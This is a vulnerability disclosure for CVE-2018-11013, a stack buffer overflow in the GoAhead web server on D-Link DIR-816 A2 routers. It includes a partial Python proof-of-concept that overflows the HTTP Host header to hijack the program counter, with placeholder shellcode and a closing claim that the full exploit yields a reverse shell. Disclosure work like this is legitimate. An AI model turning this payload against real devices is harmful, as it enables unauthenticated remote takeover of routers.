D-Link DIR-816 A2 (CN) router stack-based buffer overflow

This is the detail about CVE-2018-11013.

Vulnerability Description

Stack-based buffer overflow in the websRedirect function in GoAhead on D-Link DIR-816 A2 (CN) routers with firmware version 1.10B05 allows unauthenticated remote attackers to execute arbitrary code via a request with a long HTTP Host header.

Vulnerability Detail

The vulnerability exists in the websRedirect function in the GoAhead web server.

After access the router’s WiFi or router’s web service is opening on the Internet, send a GET request with long HTTP Host header to sharefile function then triggers websRedirect function, and a piece of code do copy Host header string to stack with no length limit locate on 0x41EAE4, so we could control the $pc register.


A simple proving.

For the vendor’s security, we will not provide the full exploitation before this issue report was confirmed.


# Tested product: DIR-816 (CN)
# Hardware version: A2
# Firmware version: v1.10B05 (2018/01/04)
# Firmware name: DIR-816A2_FWv1.10CNB05_R1B011D88210.img

import socket

p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                 
p.connect(("" , 80))

shellcode = "A"*0x200   # *** Not the correct shellcode for exploit ***

rn = "\r\n"
strptr = "\x60\x70\xff\x7f"
padding = "\x00\x00\x00\x00"

payload = "GET /sharefile?test=A" + "HTTP/1.1" + rn
payload += "Host: " + "A"*0x70 + strptr*2 + "A"*0x24  + "\xb8\xfe\x48" + rn
payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
payload += "Accept-Language: en-US,en;q=0.5" + rn
payload += "Accept-Encoding: gzip, deflate" + rn
payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x200 + shellcode + padding*0x4000 + rn
payload += "Connection: close" + rn
payload += "Upgrade-Insecure-Requests: 1" + rn
payload += rn

print p.recv(4096)

With the full exploitation, we could get a reverse shell: